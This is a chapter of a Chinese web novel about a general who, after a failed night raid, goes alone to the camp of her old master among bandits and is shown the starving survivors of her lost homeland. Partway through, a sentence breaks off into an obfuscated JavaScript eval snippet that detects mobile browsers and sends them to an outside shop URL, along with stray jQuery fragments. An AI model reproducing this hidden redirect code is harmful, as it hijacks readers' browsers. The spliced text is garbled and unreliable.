文趣网 > 都市小说 > 殿下她只想祸国 > 4. 你还在,他们还在
    是喜悦吗?不,更多的还是震惊与痛苦,无论发生了什么,现在绝对不是重逢的好时机。

    吕明救人心切,软剑游蛇向这边袭来,这也使得他顾不得后背,重锤砸下,他猛地吐出半口血。

    “将……军……”吕明趴在地上,几乎动弹不得。

    相律这才反应过来:“尘宁塔!”

    师父,尘宁塔。

    他笑了起来,而后说:“锤下留人,留个活口!”

    重锤砸在了吕明腿上。

    吕明惨叫一声,痛得昏了过去。

    尘宁塔起身捡起断剑,深深地看了相律一眼。

    “撤。”他命令道。

    和任君言对峙的女将道:“为什么?尘大人,我们明明能将他们一网打尽——”

    “我说撤,你听不懂我说话吗!”尘宁塔吼道。

    女将不服,却也没说什么,她手中双刀撇开任君言,足尖轻点顷刻脱战。

    舞大锤的男人将吕明拎起,随着尘宁塔离开。

    重逢的喜悦迅速消退,相律甚至不知道自己该如何面对师父——这些流寇说着她故国的话语,和师父一起在边疆苟且偷生。

    师父明明是那么骄傲一个人,可火光中的他狼狈不堪。

    撤兵的口哨串起来,流寇们迅速离开,相律带来的兵马迅速聚合。

    “撤……”相律盯着尘宁塔离开的地方,咬牙命令。

    此行损失不少,成功返回的人仅有两百余人。

    返回军营后,相律道:“各营长,清点各营中伤亡人数,不可瞒报误报。”

    捡回一条命的众人脸上个个灰败,所有人双眼都布满血丝——他们随相律夜袭,却大败而归。

    “明日一早,各营长把伤亡人数汇报给我,”相律垂眸,她找来信使去联络安排医师,“散了吧。”

    夜还长,相律却无心休息。

    任君言打个招呼,进入相律帐中。

    “将军,此行……我们伤二十亡十三,一人失踪。”任君言道。

    至于失踪的是谁,不言而喻。

    相律按了按太阳穴,她心乱如麻,只是示意任君言先坐下。

    任君言身上没有什么大伤,只是左肩中了一箭而已,他用布条粗略缠了缠,并不精细。

    “有人暴露了我们的行踪,”相律说,“流寇……中有高人,擅长排兵布阵,是我轻敌了。”

    “怎能怪将军?你方才也说了,是我们军中有内应。”任君言忙说。

    相律叹气。

    任君言又说:“医师已经来了,只是药物有些不足,明日我带人去集市上采购……那些兵痞得罪了不少人,怕是无人愿意把药品卖给他们。”

    “有劳了。”相律简要回复。

    两人无言,任由烛火跳动映出两人的影子。

    任君言忽然道:“将军,吕明……”

    “是我一时疏忽,吕明是为了护我才中锤,”相律说,“我定会把他带回来。”

    她确信吕明不会出事,但把吕明带回来的代价呢?

    尘宁塔今日与她相见,脸上并不见多少喜悦,他在边疆又吃了多少苦?

    偏偏此时又有人来报:“将军,信使有要事相告。”

    “说。”相律随口应道。

    信使说:“三日后巡边御史来访。”

    “知道了,走吧。”相律说。

    比起这些天发生的一桩桩事,御史来访似乎也不是那么重要了。

    任君言和吕明是随她出生入死的战友,如今吕明出事,任君言也心如刀绞。

    相律说:“夜深了,你先去休息。”

    “将军为何不休息?”任君言问。

    相律苦笑:“睡不着。”

    “在下也睡不着,既然如此,在下陪将军说说话吧,”任君言空着的那只手理了理碎发,“在下虽不解为何那流寇要留吕明一命,但他还活着,那一切都好。”

    “嗯,还活着……”相律欲言又止。

    她忽然想哭。

    任君言本就一副欲言又止的表情,他忍了许久终于忍不住了,问:“将军,可有心事?”

    “嗯。”相律说。

    她停顿了一下,接着说:“我会在三天内把吕明带回来。”

    “将军你说什么?”任君言起身,三两步并作走向相律,“你是要再发动一次袭击?三日怎够。”

    “三日……这三日,你与旧部共同纠察这营中内应,”相律捂住酸涩的眼,“至于吕明那边,我去处理。”

    任君言听明白了什么,他单膝跪地,说:“将军,你又要独自行动?”

    先前相律为周昭清扫外戚实力的时候没少单兵作战,次次都是从阎王手底下搏命。

    “……”相律咬牙。

    先前她的命只是周昭手中一枚棋子,如今她的命却系着这营中一百多名将士。

    即使退一万步来讲,尘宁塔不会让她死,可她又怎能保证自己不受猜忌?与流寇擅通可是死罪,欢宴那家伙还在京城中。

    任君言道:“将军,万万不可。”

    “我有分寸。”相律道。

    自从见到了尘宁塔,她心底本该熄灭的,亡国的痛苦再度复燃。

    尘伽,故国尘伽……

    任君言道:“将军若要行动,务必等在下伤势复原后一同行动,将军离开在下依旧是将军,在下离开将军可就——”

    “闭嘴,安静。”相律怒道。

    任君言依旧不卑不亢:“将军,您难道不信任在下吗?”

    相律气笑了:“你懂什么?你明白什么?我信任你,难道我让你造反你当真能造反不成?”

    她说完这句话的时候整个人都愣了一下。

    但任君言却一本正经道:“只要是你的命令。”

    “哈……”相律苦笑,“算了,死脑筋。”

    天色渐白,军营比往日安静了些许。

    任君言带人购置了药材,但明眼人都能看出来,军营中对相律不满的大有人在。

    相律整日闷在帐中,直到夜深。

    她换了一身轻装,绕过军帐正门,从马厩中牵出了任君言的马。

    她的马大概率被尘宁塔带走了,好在任君言的马与她相熟,倒是没多少大动静。

    她自认为走的天衣无缝。

    夜色浓郁,流寇营帐中篝火通明,走得近了,甚至能闻到火焰中灼烧着的草药气息。

    马蹄声惊动了流寇,那女将率先反应过来,她才起身警觉,尘宁塔便吹了声口哨,招呼她不要轻举妄动。

    相律翻身

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818696|211095||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下马,随手把马拴在枯树上。

    尘宁塔道:“将军深夜来访有何贵干?”

    相律想说要吕明,但看着尘宁塔,却什么都说不出口。

    尘宁塔笑出声来,笑得胸腔都在震动:“将军,你该不会是要昨晚那位重伤的将士吧?”

    相律僵硬点头:“好久不见。”

    “想要就要,怎么连话都说不出口了?”尘宁塔上前,拍了拍相律的肩膀,“来都来了,进来坐坐。”

    那女将脸上也有一道骇人长疤,她问:“尘大人,你这是何意?”

    “流沙,安静,”尘宁塔比了个打住的手势,“有事回头再说,不得对将军不敬。”

    女将流沙恶狠狠地瞪了相律一眼。

    相律视若罔闻。

    尘宁塔带着相律坐在篝火旁边,篝火周围是横七竖八的尸体。

    “火葬,熟悉吗?”尘宁塔问。

    相律再次僵硬点头:“我还记得。”

    尘宁塔道:“放心吧,那小子我已经喊人稳住他的命了,于情他为了救你,于理他活着能当人质,我不会让他死。”

    相律能感受到尘宁塔粗糙的手顺过自己的后背,隔着坚硬的盔甲。

    尘宁塔说:“你这些年倒是没怎么受罪,你长大了,亭亭玉立——”

    他话锋一转,指着那些篝火前的尸体:“但他们没能长大,你细看些,他们最大的也不过十六七岁。”

    “我……”相律欲言又止。

    尘宁塔再次大笑起来,他说:“这里看不真切,我带你去另一个地方看。”

    他径直抓着相律的手腕将她带起,而后走到马厩前,马厩中的马听到了熟悉的声音,顿时躁动起来。

    那是相律的马。

    尘宁塔拍了拍马背,说:“是一匹好马。”

    他强硬地带着相律骑在马背上,策马向荒原深处。

    像是儿时他教相律骑马一般,相律安静地坐在他身前,一动不动。

    他们走了没多久,便在另一处营地前停下,那营地中的人听到了马蹄声本能的紧张起来,但见到尘宁塔后又放下心来。

    这一处营地大多是些老弱妇孺,相律定眼看去,这些老弱妇孺几乎空留下一副骸骨。

    黑瘦,枯槁。

    借着月色,他们更像是游荡者荒原上的幽灵。

    一个孩童走进了些,好奇的看着马背上的两个人,那孩童瘦到几乎能看清每一根骨头。

    尘宁塔带着相律下马,他招呼道:“无事,做你们的事去。”

    “师父。”相律颤抖着喊他。

    尘宁塔笑了笑,说:“好丫头,没忘了怎么称呼为师。”

    他抓着相律的手腕,力度大到几乎要捏碎护腕。

    “你活下来了,完完整整的活下来了啊。”尘宁塔说,“我们都活下来了,虽然为师活的有点差强人意。”

    他顿了顿,又说:“大珩啊……虽然尘伽倾覆一战,大珩在处理内乱,可说到底大珩也是踩着尘伽繁荣,就连百姓的安居乐业也是踩着尘伽的技术。”

    “您还在,一切就有希望。”相律轻声说。

    “是你还在,殿下,”尘宁塔忽然掐住她的下巴,强迫她看向那些老弱妇孺,“看着你的百姓你的臣民,是他们还在——”